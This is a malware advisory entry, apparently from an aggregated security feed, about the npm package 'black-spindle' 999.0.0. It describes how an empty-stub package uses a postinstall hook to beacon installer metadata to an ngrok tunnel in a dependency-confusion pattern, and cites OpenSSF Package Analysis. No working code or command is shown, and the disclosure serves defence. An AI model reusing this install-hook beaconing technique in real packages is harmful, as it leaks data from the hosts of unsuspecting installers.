Malicious code in black-spindle (npm)

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

--- _-= Per source details.

The destination is a short-lived, anonymous ngrok-free.app HTTPS/HTTP tunnel unrelated to any declared publisher, contacted over plain HTTP with no pinning or verification. The shipped `index.js` is an empty stub, so the manifest's lifecycle hook is the package's entire effect: installing the package causes the installer's host to contact an attacker-controlled endpoint and discloses install-time metadata (source IP, timing, user-agent) to that endpoint. The 999.0.0 version and single-line postinstall-beacon shape are consistent with dependency-confusion / install-telemetry beaconing rather than a legitimate library. ## Source: ossf-package-analysis (c5ef30c4ec24f78fa57d10f6bd8e7fb7be307fc23e833428af785b2013bf2fab) The OpenSSF Package Analysis project identified 'black-spindle' @ 999.0.0 (npm) as malicious. It is considered malicious because: - The package communicates with a domain associated with malicious activity. - The package executes one or more commands associated with malicious behavior.
